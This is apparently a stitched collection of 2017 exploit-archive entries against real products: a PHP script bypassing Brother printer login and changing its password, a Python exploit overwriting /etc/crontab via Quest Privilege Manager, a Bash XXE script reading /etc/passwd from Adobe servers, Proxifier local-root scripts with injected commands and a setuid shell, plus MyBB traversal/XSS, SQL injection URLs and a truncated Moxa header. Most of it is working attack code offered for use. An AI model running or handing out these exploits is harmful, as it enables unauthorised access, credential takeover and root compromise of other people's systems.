CvynscaD+wA=
=Xb9n
-----END PGP SIGNATURE-----
            
<?php

/*	
								 
# Title: Brother Devices Web Auth Bypass / Change Password Exploit
# Vendor: Brother (http://www.brother.com/)
# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
# Release date: 11.04.2017
# CVE: CVE-2017-7588
# Author: Patryk Bogdan (@patryk_bogdan)

--

Description:
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
Even after failed login attempt, in http response headers appears valid authorization cookie.

PoC for MFC-J6520DW:
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; 

--

Modes:
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
changepass: Change login password to the one you provided.

Note:
Authorization cookie is fixed and it is created as following:
Plaintext password --> ASCII hex --> md5
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)

This information can be used to crack current password from exported cookie.

Fix:
Minimize network access to Brother MFC device or disable HTTP(S) interface.

Confirmed vulnerable:
MFC-J6973CDW 
MFC-J4420DW 
MFC-8710DW 
MFC-J4620DW 
MFC-L8850CDW 
MFC-J3720 
MFC-J6520DW 
MFC-L2740DW 
MFC-J5910DW 
MFC-J6920DW 
MFC-L2700DW 
MFC-9130CW 
MFC-9330CDW 
MFC-9340CDW
MFC-J5620DW
MFC-J6720DW
MFC-L8600CDW
MFC-L9550CDW
MFC-L2720DW
DCP-L2540DW
DCP-L2520DW
HL-3140CW
HL-3170CDW
HL-3180CDW
HL-L8350CDW
HL-L2380DW
ADS-2500W
ADS-1000W
ADS-1500W

For educational purposes only.

*/


/* ----------------------------- */

$address = "http://192.168.1.111";

//$mode    = "silent";

$mode    = "changepass";
$newpass = "letmein";


/* ----------------------------- */

$user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0';
$address = preg_replace('{/$}', '', $address);
libxml_use_internal_errors(true);

function getPwdValue($address) {
	
	global $user_agent;
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");				
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_COOKIE, getCookie($address));
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	$dom = new DOMDocument();
    $dom->loadHTML($content);
	$inputs = $dom->getElementsByTagName('input');
	foreach($inputs as $i) {
		if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') {
		return $i->getAttribute('name');
		}
	}
	
}

function getLogValue($address) {
			
	global $user_agent;
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address);				
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	$dom = new DOMDocument();
	$dom->loadHTML($content);
	
	if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) { 
		print 'Seems like password is not set! Exiting.'; exit; }
			
	$value = $dom->getElementById('LogBox')->getAttribute('name');
	return $value;
	
}

function getCookie($host) {
	
	global $address, $user_agent;
	
	$log_var = getLogValue($address);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/general/status.html");
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,
        $log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html");					
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	if($content == true) {
	$cookies = array();
	preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies);

	if(!empty($cookies['cookie'])) {
		$exploded = explode(';', $cookies['cookie'][0]);
	} else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; }
	} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
	
	return trim($exploded[0]);
	
}

if($mode === "silent") {

	print 'Here\'s your authorization cookie: '.getCookie($address);
	
} elseif ($mode === "changepass") {
	
	global $address, $newpass;
	
	$cookie  = getCookie($address);
	$pwd_var = getPwdValue($address);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,
            "pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass);
	curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);

	if($content == true) {
		print 'Password changed to: '.$newpass;
	} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }	
	
}

?>
            
Description:
============

product: MyBB
Homepage: https://mybb.com/
vulnerable  version: < 1.8.11
Severity: Low risk

===============

Proof of Concept:
=============

vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

vulnerability  file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

vulnerability  Code:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);

if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============
            
#!/usr/bin/env python2

"""
# Exploit Title: Quest Privilege Manager pmmasterd Arbitrary File Write
# Date: 10/Mar/2017
# Exploit Author: m0t
# Vendor Homepage: https://www.quest.com/products/privilege-manager-for-unix/
# Version: 6.0.0-27, 6.0.0-50
# Tested on: ubuntu 14.04 x86_64, ubuntu 16.04 x86, ubuntu 12.04 x86
# CVE : 2017-6554

REQUIREMENTS
- Root privs are required to bind a privileged source port
- python hexdump: pip install hexdump


This PoC gains arbitrary command execution by overwriting /etc/crontab
In case of successful exploitation /etc/crontab will contain the following line
* * * * * root touch /tmp/pwned


"""

import binascii as b
import hexdump as h
import struct
import sys
import socket
from Crypto.Cipher import AES

cipher=None
def create_enc_packet(action, len1=None, len2=None, body=None):
    global cipher
    if body == None:
        body_raw = b.unhexlify("50696e6745342e362e302e302e32372e")
    else:
        body_raw = b.unhexlify(body)
        #pad
    if len(body_raw) % 16 != 0:
        body_raw += "\x00" * (16 - (len(body_raw) % 16))
    enc_body = cipher.encrypt(body_raw)
    
    if len1 == None:
        len1 = len(body_raw)
    if len2 == None:
        len2 = len(enc_body)
    head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
    return head+enc_body

def decrypt_packet(packet):
    global cipher
    return cipher.decrypt(packet[80:])

def create_packet(action, len1=None, len2=None, body=None):
    if body == None:
        body = "50696e6745342e362e302e302e32372e"
    if len1 == None:
        len1 = len(body)/2
    if len2 == None:
        len2 = len1
    head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
    return head+b.unhexlify(body)

#extract action code from first 4b, return action found
def get_action(packet):
    code = struct.unpack('>I',packet[:4])[0]
    return code

def generate_aes_key(buf):
    some_AES_bytes = [
      0xDF, 0x4E, 0x34, 0x05, 0xF4, 0x4D, 0x19, 0x22, 0x98, 0x4F, 
      0x58, 0x62, 0x2C, 0x2A, 0x54, 0x42, 0xAA, 0x76, 0x53, 0xD4, 
      0xF9, 0xDC, 0x98, 0x90, 0x23, 0x49, 0x71, 0x12, 0xEA, 0x33, 
      0x12, 0x63
    ];
    retbuf = ""
    if len(buf) < 0x20:
        print("[-] initial key buffer too small, that's bad")
        return None
    for i in range(0x20):
        retbuf+= chr(ord(buf[i])^some_AES_bytes[i])
    return retbuf

def main():
    global cipher

    if len(sys.argv) < 2:
        print("usage: %s <target ip> [<sport>]" % sys.argv[0])
        sys.exit(-1)

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if len(sys.argv) > 2:
        sport = int(sys.argv[2])
    else:
        sport = 666

    s.bind(("0.0.0.0", sport))
    s.connect((sys.argv[1], 12345))


    try:
        s.send(create_packet(0xfa, body=b.hexlify("/etc/crontab")))
        #s.send(create_packet(0x134))
        print("[+] sent ACT_NEWFILESENT")
        resp=s.recv(1024)
        h.hexdump(resp)
        action=get_action(resp)
        if action == 212:
            print("[+] server returned 212, this is a good sign, press Enter to continue")
        else:
            print("[-] server returned %d, exploit will probably fail, press CTRL-C to exit or Enter to continue" % action)
        sys.stdin.readline()
        print("[+] exchanging DH pars")
        dh="\x00"*63+"\x02"
        s.send(dh)
        dh=s.recv(1024)
        h.hexdump(dh)
        aes_key = generate_aes_key(dh)
        print("[+] got AES key below:")
        h.hexdump(aes_key)
        cipher=AES.new(aes_key)
        print("[+] press Enter to continue")
        sys.stdin.readline()

        print("[+] sending:")
        enc=create_enc_packet(0xfb, body=b.hexlify("* * * * * root touch /tmp/pwned\n"))
        h.hexdump(enc)
        s.send(enc )
        enc=create_enc_packet(0xfc, body="")
        h.hexdump(enc)
        s.send(enc )

        print("[+] got:")
        resp=s.recv(1024)
        h.hexdump(resp)
        print("[+] trying decrypt")
        h.hexdump(decrypt_packet(resp))

        s.close()
    except KeyboardInterrupt:
        s.close()
        exit(-1)

main()
            
Description:
============

product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

===============

Proof of Concept:
=============

1.post a thread or reply any thread ,write:

[email=2"onmouseover="alert(document.location)]hover me[/email]

then when user’s mouse hover it,XSS attack will occur!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============
            
# # # # #
# Exploit Title: Social Directory Script 2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/Social-Directory.html
# Demo: http://www.phponly.com/demo/link/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?subcategory=[SQL]
# http://localhost/[PATH]/searchtopic.php?search=[SQL]
# http://localhost/[PATH]/index.php?category=[SQL]
# phponly_link_admin:id
# phponly_link_admin:username
# phponly_link_admin:password
# # # # #
            
# # # # #
# Exploit Title: FAQ Script 3.1.3 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/faq.html
# Demo: http://www.phponly.com/demo/faq/
# Version: 3.1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/home/categorySearch?category_id=[SQL]
# # # # #
            
=============================================
MGC ALERT 2017-003
- Original release date: April 06, 2017
- Last revised:  April 10, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection

II. BACKGROUND
-------------------------
WordPress event calendar is a FREE user-friendly responsive plugin to
manage multiple recurring events and with various options.

III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:

/spider-event-calendar/calendar_functions.php:      if
(isset($_POST['order_by'])) {
/spider-event-calendar/widget_Theme_functions.php:    if
(isset($_POST['order_by']) && $_POST['order_by'] != '') {

And when the query is executed, the parameter "order_by" it is not
sanitized:

/spider-event-calendar/front_end/frontend_functions.php:  $rows =
$wpdb->get_results($query." ".$order_by);

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Time Based SQL
Injection.

Time Based SQL Injection POC:

POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1

search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
(2 seconds of response)

search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
(30 seconds of response)

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Spider Event Calendar <= 1.5.51

VII. SOLUTION
-------------------------
Vendor release a new version.
https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip

VIII. REFERENCES
-------------------------
https://es.wordpress.org/plugins/spider-event-calendar/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
April 06, 2017 1: Initial release
April 10, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
April 06, 2017 2: Send to vendor
April 07, 2017 3: Vendor fix the vulnerability and release a new version
April 10, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
            
# # # # #
# Exploit Title: Classified Portal Software 5.1 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.myclassifiedscript.com/
# Software: http://www.myclassifiedscript.com/demo.html
# Demo: http://www.clpage.com/
# Version: 5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=222&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=[SQL]&sub.x=46&sub.y=8&searchkey=search_record
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=[SQL]&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=&sub.x=46&sub.y=8&searchkey=search_record
# Etc...
# # # # #
            
#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# 	"Multiple Adobe Products: BlazeDS 3.2 and earlier versions, 
# 	 LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
#	 and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#


PROGNAME="$(basename $0)"                       # This script
TIMESTAMP=$(date +%y%m%d%H%M)                   # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}"     # Used as generic scratchfile
EXITCODE="0"					# Assume success, changes on errors
CURL="/usr/bin/curl"				# Other locations are detected with "which"

SSL="0"						# Overridden by -s
DEBUG="0"					# Overridden by -d
BREAKFOUND="0"					# Overridden by -b
TARGETHOST=""					# Overridden by -h
TARGETPORT="8400"				# Overridden by -p
READFILE="/etc/passwd"				# Overridden by -f


################################## OVERHEAD SECTION 
# 
# Various functions for overhead purposes.
#

# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
        LEVEL="$1"
        MESSAGE="$2"

	# You may switch the following two, if you need to log to syslog.
        #[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
        [[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}


ExitCleanup() {
	EXITCODE=${1} 
	rm -f ${SCRATCHFILE}* >/dev/null 2>&1
	echo ""
	exit ${EXITCODE}
}


# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
    local IP=${1}
    local STAT=1

    if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
    then
        OIFS=$IFS; IFS='.'
        IP=(${IP})
        IFS=$OIFS
        [[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
        stat=$?
    fi
    return $stat
}


# Function to output help information.
show-help() {
        echo ""
        cat << EOF
        ${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]

	   -?   Show this help message.
	   -d   Debug mode, outputs more kruft on stdout.
	   -s   Use SSL / HTTPS, instead of HTTP.
	   -b	Break on the first valid answer found.
	   -h	Target host
	   -p	Target port, defaults to 8400.
	   -f	Full path to file to grab, defaults to /etc/passwd.

	This script exploits a known vulnerability in a set of Adobe applications. Using one 
	of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
	normally inaccessible. 

	NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
	${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
	${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'

	This script relies on CURL, so please have it in your PATH. 

EOF
}


# Parsing and verifying the passed parameters.
OPTIND=1        
while getopts "?dsbh:p:f:" opt; do
    case "$opt" in
    \?) show-help; ExitCleanup 0 ;;
     d) DEBUG="1" ;;
     s) SSL="1" ;;
     b) BREAKFOUND="1" ;;
     h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
	ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
	then TARGETHOST=${OPTARG}
	else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
	     [[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
	fi ;;
     p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
	if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
	then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
	else TARGETPORT=${OPTARG}
	fi ;;
     f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
	if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
	then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
	else READFILE=${OPTARG}
	fi ;;
     *) show-help; ExitCleanup 0 ;;
    esac
done

[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)

[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."


################################## GETTING TO WORK
# 
#

PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
          "/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
          "/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
          "/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
          "/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
          "/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
          "/lcds-samples/messagebroker/httpsecure")

echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}

if [[ ${DEBUG} -gt 0 ]] 
then
   logger DEBUG "XML file sent to target host reads as follows:"
   echo "======================================"
   cat ${SCRATCHFILE}
   echo "======================================"
   echo ""
fi

let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1

for ADOBEPATH in "${PATHLIST[@]}"
do
   [[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
   URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"

   [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"

   # Header contents based on a tcpdump capture of original exploit being
   # run from Metasploit.
   HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""

   CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"

   [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"

   # The tr command dikes out any non-ASCII characters which might mess with output.
   CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)

   # Output is pretty garbled and the HTTP return code is enclosed in double quotes.
   # I need to grab the last 5 chars (includes NULL EOF) and remove the ".
   CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])

   if [[ ${DEBUG} -gt 0 ]] 
   then
	logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
	logger DEBUG "Output from CURL reads as follows:"
        echo "======================================"
	echo "${CURLOUTPUT}"
        echo "======================================"
	echo ""
   fi

   logger INFO "${CURLCODE} for ${URI}"

   if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]] 
   then 
	echo "Read from ${URI}:"
	echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
	[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
   fi

   if [[ ${DEBUG} -gt 0 ]] 
   then 
	echo -e "\nReady to continue with the next URI? [y/n]: \c"
       	read READY
	case ${READY} in
	   y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
	   *) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
	esac
   fi
done


ExitCleanup 0

            
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html

Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.

Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().

This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.

Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!

Everyone using Proxifier for Mac should update to 2.19 as soon as possible.

https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------

#!/bin/bash

#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18                                           #
#####################################################################
# by m4rkw                                                          #
#####################################################################

cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>

int main()
{
  setuid(0);
  seteuid(0);

  execl("/bin/bash", "bash", NULL);
  return 0;
}
EOF

gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a


-------------------------------------------------------------------
            
Source: https://www.securify.nl/advisory/SFY20170401/multiple_local_privilege_escalation_vulnerabilities_in_proxifier_for_mac.html

Abstract

Multiple local privileges escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. KLoader is responsible for loading a Kernel Extension (kext). KLoader is installed setuid root, it accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.

Tested versions

These issues were successfully verified on Proxifier for Mac v2.18.

Fix

Proxifier v2.19 was released that addresses these issues.

Introduction

Proxifier is a program that allows network applications that do not support proxy servers to operate through a SOCKS or HTTPS proxy or a chain of proxy servers. Multiple privilege escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. These vulnerabilities allow a local user to gain elevated privileges (root).

KLoader is responsible for loading the ProxifierS.kext Kernel Extension (kext). Loading kext files requires root privileges. Because of this the setuid bit is set on this binary when Proxifier is started for the first time. KLoader accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.

Unsanitized PATH environment variable

The KLoader binary executes a number of system commands. The commands are executed from a relative path. The PATH environment variable is not sanitized before these commands are run. The PATH variable is changed by KLoader, but all that happens is that a hardcoded path is appended to current value of PATH. Due to this, it is possible for a local attacker to set an arbitrary PATH variable such that the attacker's folder is search first. Commands that are started from a relative path - and thus allow for privileges escalation - include:

- cp
- mkdir
- tar
- kextstat
- kextload

Proof of concept

cd /tmp
export PATH=.:$PATH
echo -e "#/bin/bash\nid" > cp
chmod +x cp
/Applications/Proxifier.app/Contents/KLoader lpe

Command injection in KLoader

The command line arguments that are passed to Kloader are not validated and/or sanitized. These arguments are used as-is when construction system commands. This allows an local attacker to cause Kloader to execute arbitrary commands with root privileges.

Proof of concept

$ /Applications/Proxifier.app/Contents/KLoader ';id #'
usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file
cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),[...]

Loading of arbitrary kext files

The main purpose of KLoader is to load ProxifierS.kext. The first command line argument is the path to the kext file, which normally is /Applications/Proxifier.app/Contents/ProxifierS.kext/. However since the first argument can be fully controlled by an attacker it is actually possible for a local unprivileged user to load any arbitrary kext file. The proof of concept below tries to OSXPMem Kernel Extension from the Rekall Forensic Framework.

Proof of concept

curl -L https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip --output osxpmem-2.1.post4.zip
unzip osxpmem-2.1.post4.zip
cd osxpmem.app/MacPmem.kext/
tar cvzf lpe.tar.gz Contents/
/Applications/Proxifier.app/Contents/KLoader lpe.tar.gz
kextstat -l -b com.google.MacPmem
            
[+] Credits: John Page AKA HYP3RLINX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt
[+] ISR: ApparitionSec            
 


Vendor:
============
www.moxa.com



Product:
=======================
MX-AOPC UA SERVER - 1.5

Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial automation supporting both push and pull communication.



Vulnerability Type:
==============================
XML External Entity Injection



CVE Reference:
==============
CVE-2017-7457



Security Issue:
================
